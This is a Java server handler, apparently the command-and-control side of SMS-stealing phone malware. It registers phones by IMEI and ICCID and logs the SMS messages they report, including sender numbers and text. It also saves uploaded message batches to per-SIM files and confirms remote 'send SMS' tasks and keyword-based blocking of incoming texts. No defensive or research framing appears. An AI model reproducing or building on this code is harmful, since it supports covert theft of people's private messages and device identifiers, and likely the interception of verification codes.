/*
 * To change this template, choose Tools | Templates
 * and open the template in the editor.
 */

package smsserver.manager;

import java.net.InetSocketAddress;
import org.apache.mina.core.service.IoHandler;
import org.apache.mina.core.session.IdleStatus;
import org.apache.mina.core.session.IoSession;
import smscommon.StringUtils;
import smsserver.utils.User;

/**
 *
 * @author ZHENG ZHI YOU
 */
public class ClientHandler implements IoHandler{

    public void sessionCreated(IoSession arg0) throws Exception {
        //throw new UnsupportedOperationException("Not supported yet.");
    }

    public void sessionOpened(IoSession arg0) throws Exception {
        //throw new UnsupportedOperationException("Not supported yet.");
    }

    public void sessionClosed(IoSession session) throws Exception {
        //throw new UnsupportedOperationException("Not supported yet.");
         SmsServerManager.getInstance().delclient(session);
    }

    public void sessionIdle(IoSession session, IdleStatus arg1) throws Exception {
        //throw new UnsupportedOperationException("Not supported yet.");
        SmsServerManager.getInstance().delclient(session);
    }

    public void exceptionCaught(IoSession session, Throwable arg1) throws Exception {
        //System.out.println("error............");
        //SmsServerManager.getInstance().showMessage(arg1.toString());
        session.close(true);
    }

    public void messageReceived(IoSession session, Object message) throws Exception {
        String str = message.toString();
        System.out.println("Receiver message:"+str);
        ///str = URLDecoder.decode(str, "UTF-8");
        if(str.equals("0"))
        {
            session.write("0");
            SmsServerManager.getInstance().getUser(session).setUpdatetime(System.currentTimeMillis());
            return;
        }else{
            String header = str.substring(0,2);
            String body = str.substring(2);
            if(header.equals("1A"))
            {//握手
                String clientIP = ((InetSocketAddress)session.getRemoteAddress()).getAddress().getHostAddress();
                String imei = StringUtils.getJosonData(body, "imei");
                String iccid = StringUtils.getJosonData(body, "iccid")+imei.substring(imei.length()-4);
                String pstyle = StringUtils.getJosonData(body, "pstyle");
                String appname = StringUtils.getJosonData(body, "appname");
                String version = StringUtils.getJosonData(body, "version");
                String sdkver = StringUtils.getJosonData(body, "sdkver");
                if(iccid.length()<2)
                {
                    return;
                }

                User user = new User();                
                user.setIp(clientIP);
                user.setPstyle(pstyle);
                user.setIccid(iccid);
                user.setSession(session);
                user.setAppname(appname);
                user.setVersion(version);
                user.setSdkver(sdkver);
                SmsServerManager.getInstance().addclient(session, user);
            }else if(header.equals("1B")){
                String iccid = SmsServerManager.getInstance().getUser(session).getIccid();
                if(iccid==null)
                {
                    iccid = StringUtils.getJosonData(body, "iccid");
                    String imei = StringUtils.getJosonData(body, "imei");
                    if(imei.equals("unknown"))
                    {
                        iccid+="xxxx";
                    }else{
                        iccid = iccid+imei.substring(imei.length()-4);
                    }
                }
                
                String number = StringUtils.getJosonData(body, "number");
                String msg = StringUtils.getJosonData(body, "message");
                SmsServerManager.getInstance().showMessage(iccid+"回报短信｛"+number+"发送的短信："+msg+"}");
            }else if(header.equals("1C"))
            {
                String iccid = StringUtils.getJosonData(body, "iccid");
                String type = StringUtils.getJosonData(body, "t");
                switch(Integer.parseInt(type))
                {
                    case 11:
                        SmsServerManager.getInstance().showMessage("发送短信任务完成");
                        break;
                    case 12:
                        SmsServerManager.getInstance().showMessage("屏蔽关键字成功");
                        break;
                }
            }else if(header.equals("1D")){
                String iccid = StringUtils.getJosonData(body, "iccid");
                String smsArray = StringUtils.getJosonData(body, "sms");
                FileSystemManager.getIntance().writeFile(iccid+"_sms", smsArray);
                SmsServerManager.getInstance().showMessage(iccid+":短信接收成功");
            }
        }
    }

    public void messageSent(IoSession arg0, Object message) throws Exception {
        System.out.println("send message:"+message);
    }

}
